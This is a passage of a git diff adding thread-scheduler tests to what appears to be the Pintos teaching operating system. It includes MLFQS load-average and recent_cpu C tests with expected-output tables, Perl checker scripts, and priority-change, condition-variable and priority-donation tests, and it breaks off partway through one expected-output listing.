+ The expected output is listed below. Some margin of error is
+ allowed.
+
+ If your implementation fails this test but passes most other
+ tests, then consider whether you are doing too much work in
+ the timer interrupt. If the timer interrupt handler takes too
+ long, then the test's main thread will not have enough time to
+ do its own work (printing a message) and go back to sleep
+ before the next tick arrives. Then the main thread will be
+ ready, instead of sleeping, when the tick arrives,
+ artificially driving up the load average.
+
+ After 0 seconds, load average=0.00.
+ After 2 seconds, load average=0.05.
+ After 4 seconds, load average=0.16.
+ After 6 seconds, load average=0.34.
+ After 8 seconds, load average=0.58.
+ After 10 seconds, load average=0.87.
+ After 12 seconds, load average=1.22.
+ After 14 seconds, load average=1.63.
+ After 16 seconds, load average=2.09.
+ After 18 seconds, load average=2.60.
+ After 20 seconds, load average=3.16.
+ After 22 seconds, load average=3.76.
+ After 24 seconds, load average=4.42.
+ After 26 seconds, load average=5.11.
+ After 28 seconds, load average=5.85.
+ After 30 seconds, load average=6.63.
+ After 32 seconds, load average=7.46.
+ After 34 seconds, load average=8.32.
+ After 36 seconds, load average=9.22.
+ After 38 seconds, load average=10.15.
+ After 40 seconds, load average=11.12.
+ After 42 seconds, load average=12.13.
+ After 44 seconds, load average=13.16.
+ After 46 seconds, load average=14.23.
+ After 48 seconds, load average=15.33.
+ After 50 seconds, load average=16.46.
+ After 52 seconds, load average=17.62.
+ After 54 seconds, load average=18.81.
+ After 56 seconds, load average=20.02.
+ After 58 seconds, load average=21.26.
+ After 60 seconds, load average=22.52.
+ After 62 seconds, load average=23.71.
+ After 64 seconds, load average=24.80.
+ After 66 seconds, load average=25.78.
+ After 68 seconds, load average=26.66.
+ After 70 seconds, load average=27.45.
+ After 72 seconds, load average=28.14.
+ After 74 seconds, load average=28.75.
+ After 76 seconds, load average=29.27.
+ After 78 seconds, load average=29.71.
+ After 80 seconds, load average=30.06.
+ After 82 seconds, load average=30.34.
+ After 84 seconds, load average=30.55.
+ After 86 seconds, load average=30.68.
+ After 88 seconds, load average=30.74.
+ After 90 seconds, load average=30.73.
+ After 92 seconds, load average=30.66.
+ After 94 seconds, load average=30.52.
+ After 96 seconds, load average=30.32.
+ After 98 seconds, load average=30.06.
+ After 100 seconds, load average=29.74.
+ After 102 seconds, load average=29.37.
+ After 104 seconds, load average=28.95.
+ After 106 seconds, load average=28.47.
+ After 108 seconds, load average=27.94.
+ After 110 seconds, load average=27.36.
+ After 112 seconds, load average=26.74.
+ After 114 seconds, load average=26.07.
+ After 116 seconds, load average=25.36.
+ After 118 seconds, load average=24.60.
+ After 120 seconds, load average=23.81.
+ After 122 seconds, load average=23.02.
+ After 124 seconds, load average=22.26.
+ After 126 seconds, load average=21.52.
+ After 128 seconds, load average=20.81.
+ After 130 seconds, load average=20.12.
+ After 132 seconds, load average=19.46.
+ After 134 seconds, load average=18.81.
+ After 136 seconds, load average=18.19.
+ After 138 seconds, load average=17.59.
+ After 140 seconds, load average=17.01.
+ After 142 seconds, load average=16.45.
+ After 144 seconds, load average=15.90.
+ After 146 seconds, load average=15.38.
+ After 148 seconds, load average=14.87.
+ After 150 seconds, load average=14.38.
+ After 152 seconds, load average=13.90.
+ After 154 seconds, load average=13.44.
+ After 156 seconds, load average=13.00.
+ After 158 seconds, load average=12.57.
+ After 160 seconds, load average=12.15.
+ After 162 seconds, load average=11.75.
+ After 164 seconds, load average=11.36.
+ After 166 seconds, load average=10.99.
+ After 168 seconds, load average=10.62.
+ After 170 seconds, load average=10.27.
+ After 172 seconds, load average=9.93.
+ After 174 seconds, load average=9.61.
+ After 176 seconds, load average=9.29.
+ After 178 seconds, load average=8.98.
+*/
+
+#include <stdio.h>
+#include "tests/threads/tests.h"
+#include "threads/init.h"
+#include "threads/malloc.h"
+#include "threads/synch.h"
+#include "threads/thread.h"
+#include "devices/timer.h"
+
+static int64_t start_time;
+
+static void load_thread (void *seq_no);
+
+#define THREAD_CNT 60
+
+void
+test_mlfqs_load_avg (void)
+{
+ int i;
+
+ ASSERT (thread_mlfqs);
+
+ start_time = timer_ticks ();
+ msg ("Starting %d load threads...", THREAD_CNT);
+ for (i = 0; i < THREAD_CNT; i++)
+ {
+ char name[16];
+ snprintf(name, sizeof name, "load %d", i);
+ thread_create (name, PRI_DEFAULT, load_thread, (void *) i);
+ }
+ msg ("Starting threads took %d seconds.",
+ timer_elapsed (start_time) / TIMER_FREQ);
+ thread_set_nice (-20);
+
+ for (i = 0; i < 90; i++)
+ {
+ int64_t sleep_until = start_time + TIMER_FREQ * (2 * i + 10);
+ int load_avg;
+ timer_sleep (sleep_until - timer_ticks ());
+ load_avg = thread_get_load_avg ();
+ msg ("After %d seconds, load average=%d.%02d.",
+ i * 2, load_avg / 100, load_avg % 100);
+ }
+}
+
+static void
+load_thread (void *seq_no_)
+{
+ int seq_no = (int) seq_no_;
+ int sleep_time = TIMER_FREQ * (10 + seq_no);
+ int spin_time = sleep_time + TIMER_FREQ * THREAD_CNT;
+ int exit_time = TIMER_FREQ * (THREAD_CNT * 2);
+
+ timer_sleep (sleep_time - timer_elapsed (start_time));
+ while (timer_elapsed (start_time) < spin_time)
+ continue;
+ timer_sleep (exit_time - timer_elapsed (start_time));
+}
diff --git a/src/tests/threads/mlfqs-load-avg.ck b/src/tests/threads/mlfqs-load-avg.ck
new file mode 100644
index 0000000..2254d05
--- /dev/null
+++ b/src/tests/threads/mlfqs-load-avg.ck
@@ -0,0 +1,36 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+use tests::threads::mlfqs;
+
+our ($test);
+my (@output) = read_text_file ("$test.output");
+
+common_checks ("run", @output);
+@output = get_core_output ("run", @output);
+
+# Get actual values.
+local ($_);
+my (@actual);
+foreach (@output) {
+ my ($t, $load_avg) = /After (\d+) seconds, load average=(\d+\.\d+)\./
+ or next;
+ $actual[$t] = $load_avg;
+}
+
+# Calculate expected values.
+my ($load_avg) = 0;
+my ($recent) = 0;
+my (@expected);
+for (my ($t) = 0; $t < 180; $t++) {
+ my ($ready) = $t < 60 ? $t : $t < 120 ? 120 - $t : 0;
+ $load_avg = (59/60) * $load_avg + (1/60) * $ready;
+ $expected[$t] = $load_avg;
+}
+
+mlfqs_compare ("time", "%.2f", \@actual, \@expected, 2.5, [2, 178, 2],
+ "Some load average values were missing or "
+ . "differed from those expected "
+ . "by more than 2.5.");
+pass;
diff --git a/src/tests/threads/mlfqs-nice-10.ck b/src/tests/threads/mlfqs-nice-10.ck
new file mode 100644
index 0000000..53e0abe
--- /dev/null
+++ b/src/tests/threads/mlfqs-nice-10.ck
@@ -0,0 +1,7 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+use tests::threads::mlfqs;
+
+check_mlfqs_fair ([0...9], 25);
diff --git a/src/tests/threads/mlfqs-nice-2.ck b/src/tests/threads/mlfqs-nice-2.ck
new file mode 100644
index 0000000..ada366b
--- /dev/null
+++ b/src/tests/threads/mlfqs-nice-2.ck
@@ -0,0 +1,7 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+use tests::threads::mlfqs;
+
+check_mlfqs_fair ([0, 5], 50);
diff --git a/src/tests/threads/mlfqs-recent-1.c b/src/tests/threads/mlfqs-recent-1.c
new file mode 100644
index 0000000..4258671
--- /dev/null
+++ b/src/tests/threads/mlfqs-recent-1.c
@@ -0,0 +1,144 @@
+/* Checks that recent_cpu is calculated properly for the case of
+ a single ready process.
+
+ The expected output is this (some margin of error is allowed):
+
+ After 2 seconds, recent_cpu is 6.40, load_avg is 0.03.
+ After 4 seconds, recent_cpu is 12.60, load_avg is 0.07.
+ After 6 seconds, recent_cpu is 18.61, load_avg is 0.10.
+ After 8 seconds, recent_cpu is 24.44, load_avg is 0.13.
+ After 10 seconds, recent_cpu is 30.08, load_avg is 0.15.
+ After 12 seconds, recent_cpu is 35.54, load_avg is 0.18.
+ After 14 seconds, recent_cpu is 40.83, load_avg is 0.21.
+ After 16 seconds, recent_cpu is 45.96, load_avg is 0.24.
+ After 18 seconds, recent_cpu is 50.92, load_avg is 0.26.
+ After 20 seconds, recent_cpu is 55.73, load_avg is 0.29.
+ After 22 seconds, recent_cpu is 60.39, load_avg is 0.31.
+ After 24 seconds, recent_cpu is 64.90, load_avg is 0.33.
+ After 26 seconds, recent_cpu is 69.27, load_avg is 0.35.
+ After 28 seconds, recent_cpu is 73.50, load_avg is 0.38.
+ After 30 seconds, recent_cpu is 77.60, load_avg is 0.40.
+ After 32 seconds, recent_cpu is 81.56, load_avg is 0.42.
+ After 34 seconds, recent_cpu is 85.40, load_avg is 0.44.
+ After 36 seconds, recent_cpu is 89.12, load_avg is 0.45.
+ After 38 seconds, recent_cpu is 92.72, load_avg is 0.47.
+ After 40 seconds, recent_cpu is 96.20, load_avg is 0.49.
+ After 42 seconds, recent_cpu is 99.57, load_avg is 0.51.
+ After 44 seconds, recent_cpu is 102.84, load_avg is 0.52.
+ After 46 seconds, recent_cpu is 106.00, load_avg is 0.54.
+ After 48 seconds, recent_cpu is 109.06, load_avg is 0.55.
+ After 50 seconds, recent_cpu is 112.02, load_avg is 0.57.
+ After 52 seconds, recent_cpu is 114.89, load_avg is 0.58.
+ After 54 seconds, recent_cpu is 117.66, load_avg is 0.60.
+ After 56 seconds, recent_cpu is 120.34, load_avg is 0.61.
+ After 58 seconds, recent_cpu is 122.94, load_avg is 0.62.
+ After 60 seconds, recent_cpu is 125.46, load_avg is 0.64.
+ After 62 seconds, recent_cpu is 127.89, load_avg is 0.65.
+ After 64 seconds, recent_cpu is 130.25, load_avg is 0.66.
+ After 66 seconds, recent_cpu is 132.53, load_avg is 0.67.
+ After 68 seconds, recent_cpu is 134.73, load_avg is 0.68.
+ After 70 seconds, recent_cpu is 136.86, load_avg is 0.69.
+ After 72 seconds, recent_cpu is 138.93, load_avg is 0.70.
+ After 74 seconds, recent_cpu is 140.93, load_avg is 0.71.
+ After 76 seconds, recent_cpu is 142.86, load_avg is 0.72.
+ After 78 seconds, recent_cpu is 144.73, load_avg is 0.73.
+ After 80 seconds, recent_cpu is 146.54, load_avg is 0.74.
+ After 82 seconds, recent_cpu is 148.29, load_avg is 0.75.
+ After 84 seconds, recent_cpu is 149.99, load_avg is 0.76.
+ After 86 seconds, recent_cpu is 151.63, load_avg is 0.76.
+ After 88 seconds, recent_cpu is 153.21, load_avg is 0.77.
+ After 90 seconds, recent_cpu is 154.75, load_avg is 0.78.
+ After 92 seconds, recent_cpu is 156.23, load_avg is 0.79.
+ After 94 seconds, recent_cpu is 157.67, load_avg is 0.79.
+ After 96 seconds, recent_cpu is 159.06, load_avg is 0.80.
+ After 98 seconds, recent_cpu is 160.40, load_avg is 0.81.
+ After 100 seconds, recent_cpu is 161.70, load_avg is 0.81.
+ After 102 seconds, recent_cpu is 162.96, load_avg is 0.82.
+ After 104 seconds, recent_cpu is 164.18, load_avg is 0.83.
+ After 106 seconds, recent_cpu is 165.35, load_avg is 0.83.
+ After 108 seconds, recent_cpu is 166.49, load_avg is 0.84.
+ After 110 seconds, recent_cpu is 167.59, load_avg is 0.84.
+ After 112 seconds, recent_cpu is 168.66, load_avg is 0.85.
+ After 114 seconds, recent_cpu is 169.69, load_avg is 0.85.
+ After 116 seconds, recent_cpu is 170.69, load_avg is 0.86.
+ After 118 seconds, recent_cpu is 171.65, load_avg is 0.86.
+ After 120 seconds, recent_cpu is 172.58, load_avg is 0.87.
+ After 122 seconds, recent_cpu is 173.49, load_avg is 0.87.
+ After 124 seconds, recent_cpu is 174.36, load_avg is 0.88.
+ After 126 seconds, recent_cpu is 175.20, load_avg is 0.88.
+ After 128 seconds, recent_cpu is 176.02, load_avg is 0.88.
+ After 130 seconds, recent_cpu is 176.81, load_avg is 0.89.
+ After 132 seconds, recent_cpu is 177.57, load_avg is 0.89.
+ After 134 seconds, recent_cpu is 178.31, load_avg is 0.89.
+ After 136 seconds, recent_cpu is 179.02, load_avg is 0.90.
+ After 138 seconds, recent_cpu is 179.72, load_avg is 0.90.
+ After 140 seconds, recent_cpu is 180.38, load_avg is 0.90.
+ After 142 seconds, recent_cpu is 181.03, load_avg is 0.91.
+ After 144 seconds, recent_cpu is 181.65, load_avg is 0.91.
+ After 146 seconds, recent_cpu is 182.26, load_avg is 0.91.
+ After 148 seconds, recent_cpu is 182.84, load_avg is 0.92.
+ After 150 seconds, recent_cpu is 183.41, load_avg is 0.92.
+ After 152 seconds, recent_cpu is 183.96, load_avg is 0.92.
+ After 154 seconds, recent_cpu is 184.49, load_avg is 0.92.
+ After 156 seconds, recent_cpu is 185.00, load_avg is 0.93.
+ After 158 seconds, recent_cpu is 185.49, load_avg is 0.93.
+ After 160 seconds, recent_cpu is 185.97, load_avg is 0.93.
+ After 162 seconds, recent_cpu is 186.43, load_avg is 0.93.
+ After 164 seconds, recent_cpu is 186.88, load_avg is 0.94.
+ After 166 seconds, recent_cpu is 187.31, load_avg is 0.94.
+ After 168 seconds, recent_cpu is 187.73, load_avg is 0.94.
+ After 170 seconds, recent_cpu is 188.14, load_avg is 0.94.
+ After 172 seconds, recent_cpu is 188.53, load_avg is 0.94.
+ After 174 seconds, recent_cpu is 188.91, load_avg is 0.95.
+ After 176 seconds, recent_cpu is 189.27, load_avg is 0.95.
+ After 178 seconds, recent_cpu is 189.63, load_avg is 0.95.
+ After 180 seconds, recent_cpu is 189.97, load_avg is 0.95.
+*/
+
+#include <stdio.h>
+#include "tests/threads/tests.h"
+#include "threads/init.h"
+#include "threads/malloc.h"
+#include "threads/synch.h"
+#include "threads/thread.h"
+#include "devices/timer.h"
+
+/* Sensitive to assumption that recent_cpu updates happen exactly
+ when timer_ticks() % TIMER_FREQ == 0. */
+
+void
+test_mlfqs_recent_1 (void)
+{
+ int64_t start_time;
+ int last_elapsed = 0;
+
+ ASSERT (thread_mlfqs);
+
+ do
+ {
+ msg ("Sleeping 10 seconds to allow recent_cpu to decay, please wait...");
+ start_time = timer_ticks ();
+ timer_sleep (DIV_ROUND_UP (start_time, TIMER_FREQ) - start_time
+ + 10 * TIMER_FREQ);
+ }
+ while (thread_get_recent_cpu () > 700);
+
+ start_time = timer_ticks ();
+ for (;;)
+ {
+ int elapsed = timer_elapsed (start_time);
+ if (elapsed % (TIMER_FREQ * 2) == 0 && elapsed > last_elapsed)
+ {
+ int recent_cpu = thread_get_recent_cpu ();
+ int load_avg = thread_get_load_avg ();
+ int elapsed_seconds = elapsed / TIMER_FREQ;
+ msg ("After %d seconds, recent_cpu is %d.%02d, load_avg is %d.%02d.",
+ elapsed_seconds,
+ recent_cpu / 100, recent_cpu % 100,
+ load_avg / 100, load_avg % 100);
+ if (elapsed_seconds >= 180)
+ break;
+ }
+ last_elapsed = elapsed;
+ }
+}
diff --git a/src/tests/threads/mlfqs-recent-1.ck b/src/tests/threads/mlfqs-recent-1.ck
new file mode 100644
index 0000000..a2ba44d
--- /dev/null
+++ b/src/tests/threads/mlfqs-recent-1.ck
@@ -0,0 +1,31 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+use tests::threads::mlfqs;
+
+our ($test);
+my (@output) = read_text_file ("$test.output");
+common_checks ("run", @output);
+@output = get_core_output ("run", @output);
+
+# Get actual values.
+local ($_);
+my (@actual);
+foreach (@output) {
+ my ($t, $recent_cpu) = /After (\d+) seconds, recent_cpu is (\d+\.\d+),/
+ or next;
+ $actual[$t] = $recent_cpu;
+}
+
+# Calculate expected values.
+my ($expected_load_avg, $expected_recent_cpu)
+ = mlfqs_expected_load ([(1) x 180], [(100) x 180]);
+my (@expected) = @$expected_recent_cpu;
+
+# Compare actual and expected values.
+mlfqs_compare ("time", "%.2f", \@actual, \@expected, 2.5, [2, 178, 2],
+ "Some recent_cpu values were missing or "
+ . "differed from those expected "
+ . "by more than 2.5.");
+pass;
diff --git a/src/tests/threads/mlfqs.pm b/src/tests/threads/mlfqs.pm
new file mode 100644
index 0000000..184ac16
--- /dev/null
+++ b/src/tests/threads/mlfqs.pm
@@ -0,0 +1,146 @@
+# -*- perl -*-
+use strict;
+use warnings;
+
+sub mlfqs_expected_load {
+ my ($ready, $recent_delta) = @_;
+ my (@load_avg) = 0;
+ my (@recent_cpu) = 0;
+ my ($load_avg) = 0;
+ my ($recent_cpu) = 0;
+ for my $i (0...$#$ready) {
+ $load_avg = (59/60) * $load_avg + (1/60) * $ready->[$i];
+ push (@load_avg, $load_avg);
+
+ if (defined $recent_delta->[$i]) {
+ my ($twice_load) = $load_avg * 2;
+ my ($load_factor) = $twice_load / ($twice_load + 1);
+ $recent_cpu = ($recent_cpu + $recent_delta->[$i]) * $load_factor;
+ push (@recent_cpu, $recent_cpu);
+ }
+ }
+ return (\@load_avg, \@recent_cpu);
+}
+
+sub mlfqs_expected_ticks {
+ my (@nice) = @_;
+ my ($thread_cnt) = scalar (@nice);
+ my (@recent_cpu) = (0) x $thread_cnt;
+ my (@slices) = (0) x $thread_cnt;
+ my (@fifo) = (0) x $thread_cnt;
+ my ($next_fifo) = 1;
+ my ($load_avg) = 0;
+ for my $i (1...750) {
+ if ($i % 25 == 0) {
+ # Update load average.
+ $load_avg = (59/60) * $load_avg + (1/60) * $thread_cnt;
+
+ # Update recent_cpu.
+ my ($twice_load) = $load_avg * 2;
+ my ($load_factor) = $twice_load / ($twice_load + 1);
+ $recent_cpu[$_] = $recent_cpu[$_] * $load_factor + $nice[$_]
+ foreach 0...($thread_cnt - 1);
+ }
+
+ # Update priorities.
+ my (@priority);
+ foreach my $j (0...($thread_cnt - 1)) {
+ my ($priority) = int ($recent_cpu[$j] / 4 + $nice[$j] * 2);
+ $priority = 0 if $priority < 0;
+ $priority = 63 if $priority > 63;
+ push (@priority, $priority);
+ }
+
+ # Choose thread to run.
+ my $max = 0;
+ for my $j (1...$#priority) {
+ if ($priority[$j] < $priority[$max]
+ || ($priority[$j] == $priority[$max]
+ && $fifo[$j] < $fifo[$max])) {
+ $max = $j;
+ }
+ }
+ $fifo[$max] = $next_fifo++;
+
+ # Run thread.
+ $recent_cpu[$max] += 4;
+ $slices[$max] += 4;
+ }
+ return @slices;
+}
+
+sub check_mlfqs_fair {
+ my ($nice, $maxdiff) = @_;
+ our ($test);
+ my (@output) = read_text_file ("$test.output");
+ common_checks ("run", @output);
+ @output = get_core_output ("run", @output);
+
+ my (@actual);
+ local ($_);
+ foreach (@output) {
+ my ($id, $count) = /Thread (\d+) received (\d+) ticks\./ or next;
+ $actual[$id] = $count;
+ }
+
+ my (@expected) = mlfqs_expected_ticks (@$nice);
+ mlfqs_compare ("thread", "%d",
+ \@actual, \@expected, $maxdiff, [0, $#$nice, 1],
+ "Some tick counts were missing or differed from those "
+ . "expected by more than $maxdiff.");
+ pass;
+}
+
+sub mlfqs_compare {
+ my ($indep_var, $format,
+ $actual_ref, $expected_ref, $maxdiff, $t_range, $message) = @_;
+ my ($t_min, $t_max, $t_step) = @$t_range;
+
+ my ($ok) = 1;
+ for (my ($t) = $t_min; $t <= $t_max; $t += $t_step) {
+ my ($actual) = $actual_ref->[$t];
+ my ($expected) = $expected_ref->[$t];
+ $ok = 0, last
+ if !defined ($actual) || abs ($actual - $expected) > $maxdiff + .01;
+ }
+ return if $ok;
+
+ print "$message\n";
+ mlfqs_row ($indep_var, "actual", "<->", "expected", "explanation");
+ mlfqs_row ("------", "--------", "---", "--------", '-' x 40);
+ for (my ($t) = $t_min; $t <= $t_max; $t += $t_step) {
+ my ($actual) = $actual_ref->[$t];
+ my ($expected) = $expected_ref->[$t];
+ my ($diff, $rationale);
+ if (!defined $actual) {
+ $actual = 'undef' ;
+ $diff = '';
+ $rationale = 'Missing value.';
+ } else {
+ my ($delta) = abs ($actual - $expected);
+ if ($delta > $maxdiff + .01) {
+ my ($excess) = $delta - $maxdiff;
+ if ($actual > $expected) {
+ $diff = '>>>';
+ $rationale = sprintf "Too big, by $format.", $excess;
+ } else {
+ $diff = '<<<';
+ $rationale = sprintf "Too small, by $format.", $excess;
+ }
+ } else {
+ $diff = ' = ';
+ $rationale = '';
+ }
+ $actual = sprintf ($format, $actual);
+ }
+ $expected = sprintf ($format, $expected);
+ mlfqs_row ($t, $actual, $diff, $expected, $rationale);
+ }
+ fail;
+}
+
+sub mlfqs_row {
+ printf "%6s %8s %3s %-8s %s\n", @_;
+}
+
+1;
diff --git a/src/tests/threads/priority-change.c b/src/tests/threads/priority-change.c
new file mode 100644
index 0000000..810b05a
--- /dev/null
+++ b/src/tests/threads/priority-change.c
@@ -0,0 +1,31 @@
+/* Verifies that lowering a thread's priority so that it is no
+ longer the highest-priority thread in the system causes it to
+ yield immediately. */
+
+#include <stdio.h>
+#include "tests/threads/tests.h"
+#include "threads/init.h"
+#include "threads/thread.h"
+
+static thread_func changing_thread;
+
+void
+test_priority_change (void)
+{
+ /* This test does not work with the MLFQS. */
+ ASSERT (!thread_mlfqs);
+
+ msg ("Creating a high-priority thread 2.");
+ thread_create ("thread 2", PRI_DEFAULT + 1, changing_thread, NULL);
+ msg ("Thread 2 should have just lowered its priority.");
+ thread_set_priority (PRI_DEFAULT - 2);
+ msg ("Thread 2 should have just exited.");
+}
+
+static void
+changing_thread (void *aux UNUSED)
+{
+ msg ("Thread 2 now lowering priority.");
+ thread_set_priority (PRI_DEFAULT - 1);
+ msg ("Thread 2 exiting.");
+}
diff --git a/src/tests/threads/priority-change.ck b/src/tests/threads/priority-change.ck
new file mode 100644
index 0000000..f4d9b2f
--- /dev/null
+++ b/src/tests/threads/priority-change.ck
@@ -0,0 +1,14 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(priority-change) begin
+(priority-change) Creating a high-priority thread 2.
+(priority-change) Thread 2 now lowering priority.
+(priority-change) Thread 2 should have just lowered its priority.
+(priority-change) Thread 2 exiting.
+(priority-change) Thread 2 should have just exited.
+(priority-change) end
+EOF
+pass;
diff --git a/src/tests/threads/priority-condvar.c b/src/tests/threads/priority-condvar.c
new file mode 100644
index 0000000..c1efb1b
--- /dev/null
+++ b/src/tests/threads/priority-condvar.c
@@ -0,0 +1,53 @@
+/* Tests that cond_signal() wakes up the highest-priority thread
+ waiting in cond_wait(). */
+
+#include <stdio.h>
+#include "tests/threads/tests.h"
+#include "threads/init.h"
+#include "threads/malloc.h"
+#include "threads/synch.h"
+#include "threads/thread.h"
+#include "devices/timer.h"
+
+static thread_func priority_condvar_thread;
+static struct lock lock;
+static struct condition condition;
+
+void
+test_priority_condvar (void)
+{
+ int i;
+
+ /* This test does not work with the MLFQS. */
+ ASSERT (!thread_mlfqs);
+
+ lock_init (&lock);
+ cond_init (&condition);
+
+ thread_set_priority (PRI_MIN);
+ for (i = 0; i < 10; i++)
+ {
+ int priority = PRI_DEFAULT - (i + 7) % 10 - 1;
+ char name[16];
+ snprintf (name, sizeof name, "priority %d", priority);
+ thread_create (name, priority, priority_condvar_thread, NULL);
+ }
+
+ for (i = 0; i < 10; i++)
+ {
+ lock_acquire (&lock);
+ msg ("Signaling...");
+ cond_signal (&condition, &lock);
+ lock_release (&lock);
+ }
+}
+
+static void
+priority_condvar_thread (void *aux UNUSED)
+{
+ msg ("Thread %s starting.", thread_name ());
+ lock_acquire (&lock);
+ cond_wait (&condition, &lock);
+ msg ("Thread %s woke up.", thread_name ());
+ lock_release (&lock);
+}
diff --git a/src/tests/threads/priority-condvar.ck b/src/tests/threads/priority-condvar.ck
new file mode 100644
index 0000000..195c1ab
--- /dev/null
+++ b/src/tests/threads/priority-condvar.ck
@@ -0,0 +1,39 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(priority-condvar) begin
+(priority-condvar) Thread priority 23 starting.
+(priority-condvar) Thread priority 22 starting.
+(priority-condvar) Thread priority 21 starting.
+(priority-condvar) Thread priority 30 starting.
+(priority-condvar) Thread priority 29 starting.
+(priority-condvar) Thread priority 28 starting.
+(priority-condvar) Thread priority 27 starting.
+(priority-condvar) Thread priority 26 starting.
+(priority-condvar) Thread priority 25 starting.
+(priority-condvar) Thread priority 24 starting.
+(priority-condvar) Signaling...
+(priority-condvar) Thread priority 30 woke up.
+(priority-condvar) Signaling...
+(priority-condvar) Thread priority 29 woke up.
+(priority-condvar) Signaling...
+(priority-condvar) Thread priority 28 woke up.
+(priority-condvar) Signaling...
+(priority-condvar) Thread priority 27 woke up.
+(priority-condvar) Signaling...
+(priority-condvar) Thread priority 26 woke up.
+(priority-condvar) Signaling...
+(priority-condvar) Thread priority 25 woke up.
+(priority-condvar) Signaling...
+(priority-condvar) Thread priority 24 woke up.
+(priority-condvar) Signaling...
+(priority-condvar) Thread priority 23 woke up.
+(priority-condvar) Signaling...
+(priority-condvar) Thread priority 22 woke up.
+(priority-condvar) Signaling...
+(priority-condvar) Thread priority 21 woke up.
+(priority-condvar) end
+EOF
+pass;
diff --git a/src/tests/threads/priority-donate-chain.c b/src/tests/threads/priority-donate-chain.c
new file mode 100644
index 0000000..3ffabca
--- /dev/null
+++ b/src/tests/threads/priority-donate-chain.c
@@ -0,0 +1,114 @@
+/* The main thread set its priority to PRI_MIN and creates 7 threads
+ (thread 1..7) with priorities PRI_MIN + 3, 6, 9, 12, ...
+ The main thread initializes 8 locks: lock 0..7 and acquires lock 0.
+
+ When thread[i] starts, it first acquires lock[i] (unless i == 7.)
+ Subsequently, thread[i] attempts to acquire lock[i-1], which is held by
+ thread[i-1], except for lock[0], which is held by the main thread.
+ Because the lock is held, thread[i] donates its priority to thread[i-1],
+ which donates to thread[i-2], and so on until the main thread
+ receives the donation.
+
+ After threads[1..7] have been created and are blocked on locks[0..7],
+ the main thread releases lock[0], unblocking thread[1], and being
+ preempted by it.
+ Thread[1] then completes acquiring lock[0], then releases lock[0],
+ then releases lock[1], unblocking thread[2], etc.
+ Thread[7] finally acquires & releases lock[7] and exits, allowing
+ thread[6], then thread[5] etc. to run and exit until finally the
+ main thread exits.
+
+ In addition, interloper threads are created at priority levels
+ p = PRI_MIN + 2, 5, 8, 11, ... which should not be run until the
+ corresponding thread with priority p + 1 has finished.
+
+ Written by Godmar Back <gback@cs.vt.edu> */
+
+#include <stdio.h>
+#include "tests/threads/tests.h"
+#include "threads/init.h"
+#include "threads/synch.h"
+#include "threads/thread.h"
+
+#define NESTING_DEPTH 8
+
+struct lock_pair
+ {
+ struct lock *second;
+ struct lock *first;
+ };
+
+static thread_func donor_thread_func;
+static thread_func interloper_thread_func;
+
+void
+test_priority_donate_chain (void)
+{
+ int i;
+ struct lock locks[NESTING_DEPTH - 1];
+ struct lock_pair lock_pairs[NESTING_DEPTH];
+
+ /* This test does not work with the MLFQS. */
+ ASSERT (!thread_mlfqs);
+
+ thread_set_priority (PRI_MIN);
+
+ for (i = 0; i < NESTING_DEPTH - 1; i++)
+ lock_init (&locks[i]);
+
+ lock_acquire (&locks[0]);
+ msg ("%s got lock.", thread_name ());
+
+ for (i = 1; i < NESTING_DEPTH; i++)
+ {
+ char name[16];
+ int thread_priority;
+
+ snprintf (name, sizeof name, "thread %d", i);
+ thread_priority = PRI_MIN + i * 3;
+ lock_pairs[i].first = i < NESTING_DEPTH - 1 ? locks + i: NULL;
+ lock_pairs[i].second = locks + i - 1;
+
+ thread_create (name, thread_priority, donor_thread_func, lock_pairs + i);
+ msg ("%s should have priority %d. Actual priority: %d.",
+ thread_name (), thread_priority, thread_get_priority ());
+
+ snprintf (name, sizeof name, "interloper %d", i);
+ thread_create (name, thread_priority - 1, interloper_thread_func, NULL);
+ }
+
+ lock_release (&locks[0]);
+ msg ("%s finishing with priority %d.", thread_name (),
+ thread_get_priority ());
+}
+
+static void
+donor_thread_func (void *locks_)
+{
+ struct lock_pair *locks = locks_;
+
+ if (locks->first)
+ lock_acquire (locks->first);
+
+ lock_acquire (locks->second);
+ msg ("%s got lock", thread_name ());
+
+ lock_release (locks->second);
+ msg ("%s should have priority %d. Actual priority: %d",
+ thread_name (), (NESTING_DEPTH - 1) * 3,
+ thread_get_priority ());
+
+ if (locks->first)
+ lock_release (locks->first);
+
+ msg ("%s finishing with priority %d.", thread_name (),
+ thread_get_priority ());
+}
+
+static void
+interloper_thread_func (void *arg_ UNUSED)
+{
+ msg ("%s finished.", thread_name ());
+}
+
+// vim: sw=2
diff --git a/src/tests/threads/priority-donate-chain.ck b/src/tests/threads/priority-donate-chain.ck
new file mode 100644
index 0000000..213e649
--- /dev/null
+++ b/src/tests/threads/priority-donate-chain.ck
@@ -0,0 +1,46 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(priority-donate-chain) begin
+(priority-donate-chain) main got lock.
+(priority-donate-chain) main should have priority 3. Actual priority: 3.
+(priority-donate-chain) main should have priority 6. Actual priority: 6.
+(priority-donate-chain) main should have priority 9. Actual priority: 9.
+(priority-donate-chain) main should have priority 12. Actual priority: 12.
+(priority-donate-chain) main should have priority 15. Actual priority: 15.
+(priority-donate-chain) main should have priority 18. Actual priority: 18.
+(priority-donate-chain) main should have priority 21. Actual priority: 21.
+(priority-donate-chain) thread 1 got lock
+(priority-donate-chain) thread 1 should have priority 21. Actual priority: 21
+(priority-donate-chain) thread 2 got lock
+(priority-donate-chain) thread 2 should have priority 21. Actual priority: 21
+(priority-donate-chain) thread 3 got lock
+(priority-donate-chain) thread 3 should have priority 21. Actual priority: 21
+(priority-donate-chain) thread 4 got lock
+(priority-donate-chain) thread 4 should have priority 21. Actual priority: 21
+(priority-donate-chain) thread 5 got lock
+(priority-donate-chain) thread 5 should have priority 21. Actual priority: 21
+(priority-donate-chain) thread 6 got lock
+(priority-donate-chain) thread 6 should have priority 21. Actual priority: 21
+(priority-donate-chain) thread 7 got lock
+(priority-donate-chain) thread 7 should have priority 21. Actual priority: 21
+(priority-donate-chain) thread 7 finishing with priority 21.
+(priority-donate-chain) interloper 7 finished.
